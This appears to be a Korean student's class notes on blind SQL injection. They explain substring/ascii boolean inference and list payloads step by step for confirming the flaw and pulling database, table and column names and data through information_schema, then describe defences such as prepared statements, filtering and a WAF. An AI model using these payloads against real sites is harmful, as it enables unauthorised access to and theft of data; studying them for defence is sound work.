수업

[수업] 4주차

본캐 2022. 11. 6. 17:29

Blind sqli

질의문 결과가 화면에 출력되지 않는 경우

 

장점

> sql이 되는 모든 곳에서 사용 가능 

 

단점

> 속도가 느림

 

원리

참,거짓에 따라 출력

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

[1] limit

> 데이터가 하나의 행만 출력되게 함

 

0 부터 시작

select ~~ limit [ 시작 위치 ], [ 개수 ]

 

[2]  substring

> 글자를 자름

 

1부터 시작

substring([ 시작 위치 ], [ 개수 ])

substring( 'test' , 2, 1) => e

substring('test' , 3, 2) => st

 

[3] ASCII

> 글자 한 개를 인코딩해줌

 

ascii(' a ') => 97

 

[4] 2진 탐색

> 업다운 게임

 

33 ~ 126

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

1)  substring

 

substring ( 'test' , 1, 1)

 

2) ascii

 

ascii(substring ( 'test' , 1, 1)) > 0

 

3) 'test' -> 원하는 sql 질의문으로 대체

 

ascii(substring ((select pass from member limit 0, 1) , 1, 1)) > 0

 

이러한 형식으로 만듦

 

 

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

 

** 공격 순서 **

 

 

① 취약점 확인

 

test' and '1'='1 => 참

 

test' and '1'='2 => 거짓

 

 

 

② Payload 구성 (조건문)

 

test' and ( 조건 ) and '1'='1

 

 

 

③ database 이름 확인

 

select database()

 

test' and (ascii(substring (( SQL ) , 1, 1)) > 0) and '1'='1

 

test' and (ascii(substring ((select database()) , 1, 1)) > 0) and '1'='1

 

 

 

 

④ 테이블 이름 확인

 

select table_name from information_schema.tables where table_schema = ' DB이름 ' limit 0,1

 

test' and (ascii(substring ((select table_name from information_schema.tables where table_schema = ' DB이름 ' limit 0,1) , 1, 1)) > 0) and '1'='1

 

 

 

 

⑤ 컬럼 이름 확인

 

select column_name from information_schema.columns where table_name = ' 테이블 이름 ' limit 0, 1

 

test' and (ascii(substring ((select column_name from information_schema.columns where table_name = ' 테이블 이름 ' limit 0, 1) , 1, 1)) > 0) and '1'='1

 

 

 

⑥ 데이터 추출

select ~~ limit 0, 1

 

 

 

 

 

 

[+]  프로그램 짜서 자동화시키자

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ

 

** 대응방안 **

 

1. Prepared Statement

> 미리 컴파일 시키는 방식

 

test' and '1'='1 / test

 

select ~ from ~ where id = 'test' and '1'='1  && pw = 'test' 

사용자가 입력한 정보를 받은 후 sql문을 컴파일을 한다

 

 

prepared statement 를 적용하면

 

 

01010101011010test' and '1'='110101test01010101011110010

test' and '1' 이라는 아이디가 없다고하며 로그인이 안된다

 

 

근본적인 해결방안이다

 

 

 

[+] 속도도 빨라진다

 

 

 

그럼에도 SQl injection을 배우는 이유

 

1) 옛날사이트, 옛날 방식에 익숙한 사람들

 

2) prepared statement 를 사용을 잘 못한다

 

3) prepared statement 가 적용이 안되는 곳

> order by, column 이름, table 이름

 

 

[+] prepared statement 체크하는 법

 

 

' 를 입력해보자

 

 

그대로 출력되면 ' 가 특수문자로 인식하지 않고, 글자로 인식하고 있다는 뜻이다 

 

 

 

 

2. 필터링

 

1)  화이트 리스트

 

ex) and , && 만 사용가능

 

2) 블랙 리스트

 

ex) and, && 만 사용불가능

 

 

 

3. WAF (웹 방화벽)